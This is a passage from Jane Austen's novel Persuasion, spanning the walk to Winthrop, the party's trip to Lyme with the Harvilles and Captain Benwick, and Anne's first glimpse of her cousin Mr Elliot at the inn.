lieve be tossed out as not." + +"Ah! You make the most of it, I know," cried Louisa, "but if it were +really so, I should do just the same in her place. If I loved a man, +as she loves the Admiral, I would always be with him, nothing should ever +separate us, and I would rather be overturned by him, than driven safely +by anybody else." + +It was spoken with enthusiasm. + +"Had you?" cried he, catching the same tone; "I honour you!" +And there was silence between them for a little while. + +Anne could not immediately fall into a quotation again. The sweet scenes +of autumn were for a while put by, unless some tender sonnet, +fraught with the apt analogy of the declining year, with declining +happiness, and the images of youth and hope, and spring, all gone together, +blessed her memory. She roused herself to say, as they struck by order +into another path, "Is not this one of the ways to Winthrop?" +But nobody heard, or, at least, nobody answered her. + +Winthrop, however, or its environs--for young men are, sometimes +to be met with, strolling about near home--was their destination; +and after another half mile of gradual ascent through large enclosures, +where the ploughs at work, and the fresh made path spoke the farmer +counteracting the sweets of poetical despondence, and meaning +to have spring again, they gained the summit of the most considerable hill, +which parted Uppercross and Winthrop, and soon commanded a full view +of the latter, at the foot of the hill on the other side. + +Winthrop, without beauty and without dignity, was stretched before them +an indifferent house, standing low, and hemmed in by the barns and +buildings of a farm-yard. + +Mary exclaimed, "Bless me! here is Winthrop. I declare I had no idea! +Well now, I think we had better turn back; I am excessively tired." + +Henrietta, conscious and ashamed, and seeing no cousin Charles +walking along any path, or leaning against any gate, was ready +to do as Mary wished; but "No!" said Charles Musgrove, and "No, no!" +cried Louisa more eagerly, and taking her sister aside, seemed to be +arguing the matter warmly. + +Charles, in the meanwhile, was very decidedly declaring his resolution +of calling on his aunt, now that he was so near; and very evidently, +though more fearfully, trying to induce his wife to go too. +But this was one of the points on which the lady shewed her strength; +and when he recommended the advantage of resting herself a quarter +of an hour at Winthrop, as she felt so tired, she resolutely answered, +"Oh! no, indeed! walking up that hill again would do her more harm +than any sitting down could do her good;" and, in short, +her look and manner declared, that go she would not. + +After a little succession of these sort of debates and consultations, +it was settled between Charles and his two sisters, that he +and Henrietta should just run down for a few minutes, to see their aunt +and cousins, while the rest of the party waited for them at the top +of the hill. Louisa seemed the principal arranger of the plan; +and, as she went a little way with them, down the hill, still talking +to Henrietta, Mary took the opportunity of looking scornfully around her, +and saying to Captain Wentworth-- + +"It is very unpleasant, having such connexions! But, I assure you, +I have never been in the house above twice in my life." + +She received no other answer, than an artificial, assenting smile, +followed by a contemptuous glance, as he turned away, which Anne +perfectly knew the meaning of. + +The brow of the hill, where they remained, was a cheerful spot: +Louisa returned; and Mary, finding a comfortable seat for herself +on the step of a stile, was very well satisfied so long as the others +all stood about her; but when Louisa drew Captain Wentworth away, +to try for a gleaning of nuts in an adjoining hedge-row, +and they were gone by degrees quite out of sight and sound, +Mary was happy no longer; she quarrelled with her own seat, +was sure Louisa had got a much better somewhere, and nothing could +prevent her from going to look for a better also. She turned through +the same gate, but could not see them. Anne found a nice seat +for her, on a dry sunny bank, under the hedge-row, in which +she had no doubt of their still being, in some spot or other. +Mary sat down for a moment, but it would not do; she was sure Louisa +had found a better seat somewhere else, and she would go on +till she overtook her. + +Anne, really tired herself, was glad to sit down; and she very soon heard +Captain Wentworth and Louisa in the hedge-row, behind her, as if +making their way back along the rough, wild sort of channel, down the +centre. They were speaking as they drew near. Louisa's voice was +the first distinguished. She seemed to be in the middle of some +eager speech. What Anne first heard was-- + +"And so, I made her go. I could not bear that she should be frightened +from the visit by such nonsense. What! would I be turned back from +doing a thing that I had determined to do, and that I knew to be right, +by the airs and interference of such a person, or of any person I may say? +No, I have no idea of being so easily persuaded. When I have +made up my mind, I have made it; and Henrietta seemed entirely +to have made up hers to call at Winthrop to-day; and yet, she was as near +giving it up, out of nonsensical complaisance!" + +"She would have turned back then, but for you?" + +"She would indeed. I am almost ashamed to say it." + +"Happy for her, to have such a mind as yours at hand! After the hints +you gave just now, which did but confirm my own observations, +the last time I was in company with him, I need not affect +to have no comprehension of what is going on. I see that more than +a mere dutiful morning visit to your aunt was in question; +and woe betide him, and her too, when it comes to things of consequence, +when they are placed in circumstances requiring fortitude and +strength of mind, if she have not resolution enough to resist +idle interference in such a trifle as this. Your sister is +an amiable creature; but yours is the character of decision and firmness, +I see. If you value her conduct or happiness, infuse as much +of your own spirit into her as you can. But this, no doubt, +you have been always doing. It is the worst evil of too yielding +and indecisive a character, that no influence over it can be depended on. +You are never sure of a good impression being durable; everybody +may sway it. Let those who would be happy be firm. Here is a nut," +said he, catching one down from an upper bough. "to exemplify: +a beautiful glossy nut, which, blessed with original strength, +has outlived all the storms of autumn. Not a puncture, not +a weak spot anywhere. This nut," he continued, with playful solemnity, +"while so many of his brethren have fallen and been trodden under foot, +is still in possession of all the happiness that a hazel nut can be +supposed capable of." Then returning to his former earnest tone-- +"My first wish for all whom I am interested in, is that they should be firm. +If Louisa Musgrove would be beautiful and happy in her November of life, +she will cherish all her present powers of mind." + +He had done, and was unanswered. It would have surprised Anne if Louisa +could have readily answered such a speech: words of such interest, +spoken with such serious warmth! She could imagine what Louisa was feeling. +For herself, she feared to move, lest she should be seen. +While she remained, a bush of low rambling holly protected her, +and they were moving on. Before they were beyond her hearing, +however, Louisa spoke again. + +"Mary is good-natured enough in many respects," said she; +"but she does sometimes provoke me excessively, by her nonsense +and pride--the Elliot pride. She has a great deal too much +of the Elliot pride. We do so wish that Charles had married Anne instead. +I suppose you know he wanted to marry Anne?" + +After a moment's pause, Captain Wentworth said-- + +"Do you mean that she refused him?" + +"Oh! yes; certainly." + +"When did that happen?" + +"I do not exactly know, for Henrietta and I were at school at the time; +but I believe about a year before he married Mary. I wish she had +accepted him. We should all have liked her a great deal better; +and papa and mamma always think it was her great friend +Lady Russell's doing, that she did not. They think Charles +might not be learned and bookish enough to please Lady Russell, +and that therefore, she persuaded Anne to refuse him." + +The sounds were retreating, and Anne distinguished no more. +Her own emotions still kept her fixed. She had much to recover from, +before she could move. The listener's proverbial fate was +not absolutely hers; she had heard no evil of herself, but she had heard +a great deal of very painful import. She saw how her own character +was considered by Captain Wentworth, and there had been just that degree +of feeling and curiosity about her in his manner which must give her +extreme agitation. + +As soon as she could, she went after Mary, and having found, +and walked back with her to their former station, by the stile, +felt some comfort in their whole party being immediately afterwards +collected, and once more in motion together. Her spirits wanted +the solitude and silence which only numbers could give. + +Charles and Henrietta returned, bringing, as may be conjectured, +Charles Hayter with them. The minutiae of the business Anne +could not attempt to understand; even Captain Wentworth did not seem +admitted to perfect confidence here; but that there had been a withdrawing +on the gentleman's side, and a relenting on the lady's, and that they +were now very glad to be together again, did not admit a doubt. +Henrietta looked a little ashamed, but very well pleased;-- +Charles Hayter exceedingly happy: and they were devoted to each other +almost from the first instant of their all setting forward for Uppercross. + +Everything now marked out Louisa for Captain Wentworth; +nothing could be plainer; and where many divisions were necessary, +or even where they were not, they walked side by side nearly as much +as the other two. In a long strip of meadow land, where there was +ample space for all, they were thus divided, forming three distinct parties; +and to that party of the three which boasted least animation, +and least complaisance, Anne necessarily belonged. She joined Charles +and Mary, and was tired enough to be very glad of Charles's other arm; +but Charles, though in very good humour with her, was out of temper +with his wife. Mary had shewn herself disobliging to him, +and was now to reap the consequence, which consequence was +his dropping her arm almost every moment to cut off the heads +of some nettles in the hedge with his switch; and when Mary began +to complain of it, and lament her being ill-used, according to custom, +in being on the hedge side, while Anne was never incommoded on the other, +he dropped the arms of both to hunt after a weasel which he had +a momentary glance of, and they could hardly get him along at all. + +This long meadow bordered a lane, which their footpath, at the end of it +was to cross, and when the party had all reached the gate of exit, +the carriage advancing in the same direction, which had been +some time heard, was just coming up, and proved to be Admiral Croft's gig. +He and his wife had taken their intended drive, and were returning home. +Upon hearing how long a walk the young people had engaged in, +they kindly offered a seat to any lady who might be particularly tired; +it would save her a full mile, and they were going through Uppercross. +The invitation was general, and generally declined. The Miss Musgroves +were not at all tired, and Mary was either offended, by not being asked +before any of the others, or what Louisa called the Elliot pride +could not endure to make a third in a one horse chaise. + +The walking party had crossed the lane, and were surmounting an +opposite stile, and the Admiral was putting his horse in motion again, +when Captain Wentworth cleared the hedge in a moment to say something +to his sister. The something might be guessed by its effects. + +"Miss Elliot, I am sure you are tired," cried Mrs Croft. +"Do let us have the pleasure of taking you home. Here is excellent room +for three, I assure you. If we were all like you, I believe we might +sit four. You must, indeed, you must." + +Anne was still in the lane; and though instinctively beginning to decline, +she was not allowed to proceed. The Admiral's kind urgency +came in support of his wife's; they would not be refused; +they compressed themselves into the smallest possible space +to leave her a corner, and Captain Wentworth, without saying a word, +turned to her, and quietly obliged her to be assisted into the carriage. + +Yes; he had done it. She was in the carriage, and felt that he had +placed her there, that his will and his hands had done it, +that she owed it to his perception of her fatigue, and his resolution +to give her rest. She was very much affected by the view of +his disposition towards her, which all these things made apparent. +This little circumstance seemed the completion of all that had gone before. +She understood him. He could not forgive her, but he could not +be unfeeling. Though condemning her for the past, and considering it +with high and unjust resentment, though perfectly careless of her, +and though becoming attached to another, still he could not see her suffer, +without the desire of giving her relief. It was a remainder +of former sentiment; it was an impulse of pure, though unacknowledged +friendship; it was a proof of his own warm and amiable heart, +which she could not contemplate without emotions so compounded +of pleasure and pain, that she knew not which prevailed. + +Her answers to the kindness and the remarks of her companions +were at first unconsciously given. They had travelled half their way +along the rough lane, before she was quite awake to what they said. +She then found them talking of "Frederick." + +"He certainly means to have one or other of those two girls, Sophy," +said the Admiral; "but there is no saying which. He has been +running after them, too, long enough, one would think, to make up his mind. +Ay, this comes of the peace. If it were war now, he would have +settled it long ago. We sailors, Miss Elliot, cannot afford to make +long courtships in time of war. How many days was it, my dear, +between the first time of my seeing you and our sitting down together +in our lodgings at North Yarmouth?" + +"We had better not talk about it, my dear," replied Mrs Croft, pleasantly; +"for if Miss Elliot were to hear how soon we came to an understanding, +she would never be persuaded that we could be happy together. +I had known you by character, however, long before." + +"Well, and I had heard of you as a very pretty girl, and what were we +to wait for besides? I do not like having such things so long in hand. +I wish Frederick would spread a little more canvass, and bring us home +one of these young ladies to Kellynch. Then there would always +be company for them. And very nice young ladies they both are; +I hardly know one from the other." + +"Very good humoured, unaffected girls, indeed," said Mrs Croft, +in a tone of calmer praise, such as made Anne suspect that +her keener powers might not consider either of them as quite worthy +of her brother; "and a very respectable family. One could not be +connected with better people. My dear Admiral, that post! +we shall certainly take that post." + +But by coolly giving the reins a better direction herself they happily +passed the danger; and by once afterwards judiciously putting out +her hand they neither fell into a rut, nor ran foul of a dung-cart; +and Anne, with some amusement at their style of driving, +which she imagined no bad representation of the general guidance +of their affairs, found herself safely deposited by them at the Cottage. + + + +Chapter 11 + + +The time now approached for Lady Russell's return: the day was even fixed; +and Anne, being engaged to join her as soon as she was resettled, +was looking forward to an early removal to Kellynch, and beginning +to think how her own comfort was likely to be affected by it. + +It would place her in the same village with Captain Wentworth, +within half a mile of him; they would have to frequent the same church, +and there must be intercourse between the two families. +This was against her; but on the other hand, he spent so much of his time +at Uppercross, that in removing thence she might be considered rather +as leaving him behind, than as going towards him; and, upon the whole, +she believed she must, on this interesting question, be the gainer, +almost as certainly as in her change of domestic society, +in leaving poor Mary for Lady Russell. + +She wished it might be possible for her to avoid ever seeing +Captain Wentworth at the Hall: those rooms had witnessed +former meetings which would be brought too painfully before her; +but she was yet more anxious for the possibility of Lady Russell and +Captain Wentworth never meeting anywhere. They did not like each other, +and no renewal of acquaintance now could do any good; and were Lady Russell +to see them together, she might think that he had too much self-possession, +and she too little. + +These points formed her chief solicitude in anticipating +her removal from Uppercross, where she felt she had been stationed +quite long enough. Her usefulness to little Charles would always +give some sweetness to the memory of her two months' visit there, +but he was gaining strength apace, and she had nothing else to stay for. + +The conclusion of her visit, however, was diversified in a way +which she had not at all imagined. Captain Wentworth, after being unseen +and unheard of at Uppercross for two whole days, appeared again among them +to justify himself by a relation of what had kept him away. + +A letter from his friend, Captain Harville, having found him out at last, +had brought intelligence of Captain Harville's being settled +with his family at Lyme for the winter; of their being therefore, +quite unknowingly, within twenty miles of each other. Captain Harville +had never been in good health since a severe wound which he received +two years before, and Captain Wentworth's anxiety to see him +had determined him to go immediately to Lyme. He had been there +for four-and-twenty hours. His acquittal was complete, +his friendship warmly honoured, a lively interest excited for his friend, +and his description of the fine country about Lyme so feelingly attended to +by the party, that an earnest desire to see Lyme themselves, +and a project for going thither was the consequence. + +The young people were all wild to see Lyme. Captain Wentworth talked +of going there again himself, it was only seventeen miles from Uppercross; +though November, the weather was by no means bad; and, in short, +Louisa, who was the most eager of the eager, having formed +the resolution to go, and besides the pleasure of doing as she liked, +being now armed with the idea of merit in maintaining her own way, +bore down all the wishes of her father and mother for putting it off +till summer; and to Lyme they were to go--Charles, Mary, Anne, Henrietta, +Louisa, and Captain Wentworth. + +The first heedless scheme had been to go in the morning and return at night; +but to this Mr Musgrove, for the sake of his horses, would not consent; +and when it came to be rationally considered, a day in +the middle of November would not leave much time for seeing a new place, +after deducting seven hours, as the nature of the country required, +for going and returning. They were, consequently, to stay the night there, +and not to be expected back till the next day's dinner. This was felt +to be a considerable amendment; and though they all met at the Great House +at rather an early breakfast hour, and set off very punctually, +it was so much past noon before the two carriages, Mr Musgrove's coach +containing the four ladies, and Charles's curricle, in which +he drove Captain Wentworth, were descending the long hill into Lyme, +and entering upon the still steeper street of the town itself, +that it was very evident they would not have more than time +for looking about them, before the light and warmth of the day were gone. + +After securing accommodations, and ordering a dinner at one of the inns, +the next thing to be done was unquestionably to walk directly +down to the sea. They were come too late in the year for any amusement +or variety which Lyme, as a public place, might offer. The rooms +were shut up, the lodgers almost all gone, scarcely any family +but of the residents left; and, as there is nothing to admire +in the buildings themselves, the remarkable situation of the town, +the principal street almost hurrying into the water, the walk to the Cobb, +skirting round the pleasant little bay, which, in the season, +is animated with bathing machines and company; the Cobb itself, +its old wonders and new improvements, with the very beautiful +line of cliffs stretching out to the east of the town, are what +the stranger's eye will seek; and a very strange stranger it must be, +who does not see charms in the immediate environs of Lyme, +to make him wish to know it better. The scenes in its neighbourhood, +Charmouth, with its high grounds and extensive sweeps of country, +and still more, its sweet, retired bay, backed by dark cliffs, +where fragments of low rock among the sands, make it the happiest spot +for watching the flow of the tide, for sitting in unwearied contemplation; +the woody varieties of the cheerful village of Up Lyme; and, above all, +Pinny, with its green chasms between romantic rocks, where +the scattered forest trees and orchards of luxuriant growth, +declare that many a generation must have passed away since the first +partial falling of the cliff prepared the ground for such a state, +where a scene so wonderful and so lovely is exhibited, as may +more than equal any of the resembling scenes of the far-famed +Isle of Wight: these places must be visited, and visited again, +to make the worth of Lyme understood. + +The party from Uppercross passing down by the now deserted +and melancholy looking rooms, and still descending, soon found themselves +on the sea-shore; and lingering only, as all must linger and gaze +on a first return to the sea, who ever deserved to look on it at all, +proceeded towards the Cobb, equally their object in itself +and on Captain Wentworth's account: for in a small house, +near the foot of an old pier of unknown date, were the Harvilles settled. +Captain Wentworth turned in to call on his friend; the others walked on, +and he was to join them on the Cobb. + +They were by no means tired of wondering and admiring; and not even Louisa +seemed to feel that they had parted with Captain Wentworth long, +when they saw him coming after them, with three companions, +all well known already, by description, to be Captain and Mrs Harville, +and a Captain Benwick, who was staying with them. + +Captain Benwick had some time ago been first lieutenant of the Laconia; +and the account which Captain Wentworth had given of him, +on his return from Lyme before, his warm praise of him as +an excellent young man and an officer, whom he had always valued highly, +which must have stamped him well in the esteem of every listener, +had been followed by a little history of his private life, +which rendered him perfectly interesting in the eyes of all the ladies. +He had been engaged to Captain Harville's sister, and was now +mourning her loss. They had been a year or two waiting for fortune +and promotion. Fortune came, his prize-money as lieutenant being great; +promotion, too, came at last; but Fanny Harville did not live to know it. +She had died the preceding summer while he was at sea. Captain Wentworth +believed it impossible for man to be more attached to woman +than poor Benwick had been to Fanny Harville, or to be more deeply +afflicted under the dreadful change. He considered his disposition +as of the sort which must suffer heavily, uniting very strong feelings +with quiet, serious, and retiring manners, and a decided taste for reading, +and sedentary pursuits. To finish the interest of the story, +the friendship between him and the Harvilles seemed, if possible, +augmented by the event which closed all their views of alliance, +and Captain Benwick was now living with them entirely. Captain Harville +had taken his present house for half a year; his taste, and his health, +and his fortune, all directing him to a residence inexpensive, +and by the sea; and the grandeur of the country, and the retirement +of Lyme in the winter, appeared exactly adapted to Captain Benwick's +state of mind. The sympathy and good-will excited towards Captain Benwick +was very great. + +"And yet," said Anne to herself, as they now moved forward +to meet the party, "he has not, perhaps, a more sorrowing heart +than I have. I cannot believe his prospects so blighted for ever. +He is younger than I am; younger in feeling, if not in fact; +younger as a man. He will rally again, and be happy with another." + +They all met, and were introduced. Captain Harville was a tall, +dark man, with a sensible, benevolent countenance; a little lame; +and from strong features and want of health, looking much older +than Captain Wentworth. Captain Benwick looked, and was, +the youngest of the three, and, compared with either of them, +a little man. He had a pleasing face and a melancholy air, +just as he ought to have, and drew back from conversation. + +Captain Harville, though not equalling Captain Wentworth in manners, +was a perfect gentleman, unaffected, warm, and obliging. +Mrs Harville, a degree less polished than her husband, seemed, however, +to have the same good feelings; and nothing could be more pleasant +than their desire of considering the whole party as friends of their own, +because the friends of Captain Wentworth, or more kindly hospitable +than their entreaties for their all promising to dine with them. +The dinner, already ordered at the inn, was at last, though unwillingly, +accepted as a excuse; but they seemed almost hurt that Captain Wentworth +should have brought any such party to Lyme, without considering it +as a thing of course that they should dine with them. + +There was so much attachment to Captain Wentworth in all this, +and such a bewitching charm in a degree of hospitality so uncommon, +so unlike the usual style of give-and-take invitations, and dinners +of formality and display, that Anne felt her spirits not likely to be +benefited by an increasing acquaintance among his brother-officers. +"These would have been all my friends," was her thought; +and she had to struggle against a great tendency to lowness. + +On quitting the Cobb, they all went in-doors with their new friends, +and found rooms so small as none but those who invite from the heart +could think capable of accommodating so many. Anne had +a moment's astonishment on the subject herself; but it was soon lost +in the pleasanter feelings which sprang from the sight of all +the ingenious contrivances and nice arrangements of Captain Harville, +to turn the actual space to the best account, to supply the deficiencies +of lodging-house furniture, and defend the windows and doors +against the winter storms to be expected. The varieties in +the fitting-up of the rooms, where the common necessaries +provided by the owner, in the common indifferent plight, +were contrasted with some few articles of a rare species of wood, +excellently worked up, and with something curious and valuable +from all the distant countries Captain Harville had visited, +were more than amusing to Anne; connected as it all was with his profession, +the fruit of its labours, the effect of its influence on his habits, +the picture of repose and domestic happiness it presented, +made it to her a something more, or less, than gratification. + +Captain Harville was no reader; but he had contrived +excellent accommodations, and fashioned very pretty shelves, +for a tolerable collection of well-bound volumes, the property of +Captain Benwick. His lameness prevented him from taking much exercise; +but a mind of usefulness and ingenuity seemed to furnish him with +constant employment within. He drew, he varnished, he carpentered, +he glued; he made toys for the children; he fashioned new netting-needles +and pins with improvements; and if everything else was done, +sat down to his large fishing-net at one corner of the room. + +Anne thought she left great happiness behind her when they +quitted the house; and Louisa, by whom she found herself walking, +burst forth into raptures of admiration and delight on the character +of the navy; their friendliness, their brotherliness, their openness, +their uprightness; protesting that she was convinced of sailors having +more worth and warmth than any other set of men in England; +that they only knew how to live, and they only deserved to be +respected and loved. + +They went back to dress and dine; and so well had the scheme +answered already, that nothing was found amiss; though its being +"so entirely out of season," and the "no thoroughfare of Lyme," +and the "no expectation of company," had brought many apologies +from the heads of the inn. + +Anne found herself by this time growing so much more hardened +to being in Captain Wentworth's company than she had at first imagined +could ever be, that the sitting down to the same table with him now, +and the interchange of the common civilities attending on it +(they never got beyond), was become a mere nothing. + +The nights were too dark for the ladies to meet again till the morrow, +but Captain Harville had promised them a visit in the evening; +and he came, bringing his friend also, which was more than +had been expected, it having been agreed that Captain Benwick +had all the appearance of being oppressed by the presence of +so many strangers. He ventured among them again, however, +though his spirits certainly did not seem fit for the mirth +of the party in general. + +While Captains Wentworth and Harville led the talk on one side of the room, +and by recurring to former days, supplied anecdotes in abundance +to occupy and entertain the others, it fell to Anne's lot to be placed +rather apart with Captain Benwick; and a very good impulse +of her nature obliged her to begin an acquaintance with him. +He was shy, and disposed to abstraction; but the engaging mildness of +her countenance, and gentleness of her manners, soon had their effect; +and Anne was well repaid the first trouble of exertion. +He was evidently a young man of considerable taste in reading, +though principally in poetry; and besides the persuasion of having +given him at least an evening's indulgence in the discussion of subjects, +which his usual companions had probably no concern in, she had the hope +of being of real use to him in some suggestions as to the duty and +benefit of struggling against affliction, which had naturally grown out +of their conversation. For, though shy, he did not seem reserved; +it had rather the appearance of feelings glad to burst their +usual restraints; and having talked of poetry, the richness of +the present age, and gone through a brief comparison of opinion +as to the first-rate poets, trying to ascertain whether Marmion +or The Lady of the Lake were to be preferred, and how ranked the Giaour +and The Bride of Abydos; and moreover, how the Giaour was to be pronounced, +he showed himself so intimately acquainted with all the tenderest songs +of the one poet, and all the impassioned descriptions of hopeless agony +of the other; he repeated, with such tremulous feeling, the various lines +which imaged a broken heart, or a mind destroyed by wretchedness, +and looked so entirely as if he meant to be understood, +that she ventured to hope he did not always read only poetry, +and to say, that she thought it was the misfortune of poetry to be +seldom safely enjoyed by those who enjoyed it completely; +and that the strong feelings which alone could estimate it truly +were the very feelings which ought to taste it but sparingly. + +His looks shewing him not pained, but pleased with this allusion +to his situation, she was emboldened to go on; and feeling in herself +the right of seniority of mind, she ventured to recommend +a larger allowance of prose in his daily study; and on being requested +to particularize, mentioned such works of our best moralists, +such collections of the finest letters, such memoirs of characters +of worth and suffering, as occurred to her at the moment +as calculated to rouse and fortify the mind by the highest precepts, +and the strongest examples of moral and religious endurances. + +Captain Benwick listened attentively, and seemed grateful for +the interest implied; and though with a shake of the head, +and sighs which declared his little faith in the efficacy of any books +on grief like his, noted down the names of those she recommended, +and promised to procure and read them. + +When the evening was over, Anne could not but be amused at the idea +of her coming to Lyme to preach patience and resignation to a young man +whom she had never seen before; nor could she help fearing, +on more serious reflection, that, like many other great moralists +and preachers, she had been eloquent on a point in which her own conduct +would ill bear examination. + + + +Chapter 12 + + +Anne and Henrietta, finding themselves the earliest of the party +the next morning, agreed to stroll down to the sea before breakfast. +They went to the sands, to watch the flowing of the tide, +which a fine south-easterly breeze was bringing in with all the grandeur +which so flat a shore admitted. They praised the morning; +gloried in the sea; sympathized in the delight of the fresh-feeling +breeze--and were silent; till Henrietta suddenly began again with-- + +"Oh! yes,--I am quite convinced that, with very few exceptions, +the sea-air always does good. There can be no doubt of its having been +of the greatest service to Dr Shirley, after his illness, +last spring twelve-month. He declares himself, that coming to Lyme +for a month, did him more good than all the medicine he took; +and, that being by the sea, always makes him feel young again. +Now, I cannot help thinking it a pity that he does not live +entirely by the sea. I do think he had better leave Uppercross entirely, +and fix at Lyme. Do not you, Anne? Do not you agree with me, +that it is the best thing he could do, both for himself and Mrs Shirley? +She has cousins here, you know, and many acquaintance, which would +make it cheerful for her, and I am sure she would be glad +to get to a place where she could have medical attendance at hand, +in case of his having another seizure. Indeed I think it quite melancholy +to have such excellent people as Dr and Mrs Shirley, who have been +doing good all their lives, wearing out their last days in a place +like Uppercross, where, excepting our family, they seem shut out +from all the world. I wish his friends would propose it to him. +I really think they ought. And, as to procuring a dispensation, +there could be no difficulty at his time of life, and with his character. +My only doubt is, whether anything could persuade him to leave his parish. +He is so very strict and scrupulous in his notions; over-scrupulous +I must say. Do not you think, Anne, it is being over-scrupulous? +Do not you think it is quite a mistaken point of conscience, +when a clergyman sacrifices his health for the sake of duties, +which may be just as well performed by another person? And at Lyme too, +only seventeen miles off, he would be near enough to hear, +if people thought there was anything to complain of." + +Anne smiled more than once to herself during this speech, +and entered into the subject, as ready to do good by entering into +the feelings of a young lady as of a young man, though here it was good +of a lower standard, for what could be offered but general acquiescence? +She said all that was reasonable and proper on the business; +felt the claims of Dr Shirley to repose as she ought; saw how very +desirable it was that he should have some active, respectable young man, +as a resident curate, and was even courteous enough to hint at +the advantage of such resident curate's being married. + +"I wish," said Henrietta, very well pleased with her companion, +"I wish Lady Russell lived at Uppercross, and were intimate +with Dr Shirley. I have always heard of Lady Russell as a woman of +the greatest influence with everybody! I always look upon her as able +to persuade a person to anything! I am afraid of her, as I have +told you before, quite afraid of her, because she is so very clever; +but I respect her amazingly, and wish we had such a neighbour +at Uppercross." + +Anne was amused by Henrietta's manner of being grateful, +and amused also that the course of events and the new interests +of Henrietta's views should have placed her friend at all in favour +with any of the Musgrove family; she had only time, however, +for a general answer, and a wish that such another woman +were at Uppercross, before all subjects suddenly ceased, +on seeing Louisa and Captain Wentworth coming towards them. +They came also for a stroll till breakfast was likely to be ready; +but Louisa recollecting, immediately afterwards that she had something +to procure at a shop, invited them all to go back with her into the town. +They were all at her disposal. + +When they came to the steps, leading upwards from the beach, a gentleman, +at the same moment preparing to come down, politely drew back, +and stopped to give them way. They ascended and passed him; +and as they passed, Anne's face caught his eye, and he looked at her +with a degree of earnest admiration, which she could not be insensible of. +She was looking remarkably well; her very regular, very pretty features, +having the bloom and freshness of youth restored by the fine wind +which had been blowing on her complexion, and by the animation of eye +which it had also produced. It was evident that the gentleman, +(completely a gentleman in manner) admired her exceedingly. +Captain Wentworth looked round at her instantly in a way which +shewed his noticing of it. He gave her a momentary glance, +a glance of brightness, which seemed to say, "That man is struck with you, +and even I, at this moment, see something like Anne Elliot again." + +After attending Louisa through her business, and loitering about +a little longer, they returned to the inn; and Anne, in passing afterwards +quickly from her own chamber to their dining-room, had nearly run against +the very same gentleman, as he came out of an adjoining apartment. +She had before conjectured him to be a stranger like themselves, +and determined that a well-looking groom, who was strolling about +near the two inns as they came back, should be his servant. +Both master and man being in mourning assisted the idea. +It was now proved that he belonged to the same inn as themselves; +and this second meeting, short as it was, also proved again +by the gentleman's looks, that he thought hers very lovely, +and by the readiness and propriety of his apologies, that he was +a man of exceedingly good manners. He seemed about thirty, +and though not handsome, had an agreeable person. Anne felt that +she should like to know who he was. + +They had nearly done breakfast, when the sound of a carriage, +(almost the first they had heard since entering Lyme) drew half the party +to the window. It was a gentleman's carriage, a curricle, +but only coming round from the stable-yard to the front door; +somebody must be going away. It was driven by a servant in mourning. + +The word curricle made Charles Musgrove jump up that he might +compare it with his own; the servant in mourning roused Anne's curiosity, +and the whole six were collected to look, by the time the owner +of the curricle was to be seen issuing from the door amidst the bows +and civilities of the household, and taking his seat, to drive off. + +"Ah!" cried Captain Wentworth, instantly, and with half a glance at Anne, +"it is the very man we passed." + +The Miss Musgroves agreed to it; and having all kindly watched him +as far up the hill as they could, they returned to the breakfast table. +The waiter came into the room soon afterwards. + +"Pray," said Captain Wentworth, immediately, "can you tell us the name +of the gentleman who is just gone away?" + +"Yes, Sir, a Mr Elliot, a gentleman of large fortune, came in last night +from Sidmouth. Dare say you heard the carriage, sir, while you were +at dinner; and going on now for Crewkherne, in his way to Bath +and London." + +"Elliot!" Many had looked on each other, and many had repeated the name, +before all this had been got through, even by the smart rapidity +of a waiter. + +"Bless me!" cried Mary; "it must be our cousin; it must be our Mr Elliot, +it must, indeed! Charles, Anne, must not it? In mourning, you see, +just as our Mr Elliot must be. How very extraordinary! +In the very same inn with us! Anne, must not it be our Mr Elliot? +my father's next heir? Pray sir," turning to the waiter, +"did not you hear, did not his servant say whether he belonged +to the Kellynch family?" + +"No, ma'am, he did not mention no particular family; but he said +his master was a very rich gentleman, and would be a baronight some day." + +"There! you see!" cried Mary in an ecstasy, "just as I said! +Heir to Sir Walter Elliot! I was sure that would come out, +if it was so. Depend upon it, that is a circumstance which his servants +take care to publish, wherever he goes. But, Anne, only conceive +how extraordinary! I wish I had looked at him more. I wish we had +been aware in time, who it was, that he might have been introduced to us. +What a pity that we should not have been introduced to each other! +Do you think he had the Elliot countenance? I hardly looked at him, +I was looking at the horses; but I think he had something +of the Elliot countenance, I wonder the arms did not strike me! +Oh! the great-coat was hanging over the panel, and hid the arms, +so it did; otherwise, I am sure, I should have observed them, +and the livery too; if the servant had not been in mourning, +one should have known him by the livery." + +"Putting all these very extraordinary circumstances together," +said Captain Wentworth, "we must consider it to be the arrangement +of Providence, that you should not be introduced to your cousin." + +When she could command Mary's attention, Anne quietly tried +to convince her that their father and Mr Elliot had not, for many years, +been on such terms as to make the power of attempting an introduction +at all desirable. + +At the same time, however, it was a secret gratification to herself +to have seen her cousin, and to know that the future owner of Kellynch +was undoubtedly a gentleman, and had an air of good sense. +She would not, upon any account, mention her having met with him +the second time; luckily Mary did not much attend to their having +passed close by him in their earlier walk, but she would have felt +quite ill-used by Anne's having actually run against him in the passage, +and received his very polite excuses, while she had never been +near him at all; no, that cousinly little interview must remain +a perfect secret. + +"Of course," said Mary, "you will mention our seeing Mr Elliot, +the next time you write to Bath. I think my father certainly +ought to hear of it; do mention all about him." + +Anne avoided a direct reply, but it was just the circumstance +which she considered as not merely unnecessary to be communicated, +but as what ought to be suppressed. The offence which had been given +her father, many years back, she knew; Elizabeth's particular share in it +she suspected; and that Mr Elliot's idea always produced irritation in both +was beyond a doubt. Mary never wrote to Bath herself; all the toil +of keeping up a slow and unsatisfactory correspondence with Elizabeth +fell on Anne. + +Breakfast had not been long over, when they were joined by Captain +and Mrs Harville and Captain Benwick; with whom they had appointed +to take their last walk about Lyme. They ought to be setting off +for Uppercross by one, and in the mean while were to be all together, +and out of doors as long as they could. + +Anne found Captain Benwick getting near her, as soon as they were all +fairly in the street. Their conversation the preceding evening +did not disincline him to seek her again; and they walked together +some time, talking as before of Mr Scott and Lord Byron, +and still as unable as before, and as unable as any other two readers, +to think exactly alike of the merits of either, till something +occasioned an almost general change amongst their party, and instead of +Captain Benwick, she had Captain Harville by her side. + +"Miss Elliot," said he, speaking rather low, "you have done a good deed +in making that poor fellow talk so much. I wish he could have +such company oftener. It is bad for him, I know, to be shut up as he is; +but what can we do? We cannot part." + +"No," said Anne, "that I can easily believe to be impossible; +but in time, perhaps--we know what time does in every case of affliction, +and you must remember, Captain Harville, that your friend +may yet be called a young mourner--only last summer, I understand." + +"Ay, true enough," (with a deep sigh) "only June." + +"And not known to him, perhaps, so soon." + +"Not till the first week of August, when he came home from the Cape, +just made into the Grappler. I was at Plymouth dreading to hear of him; 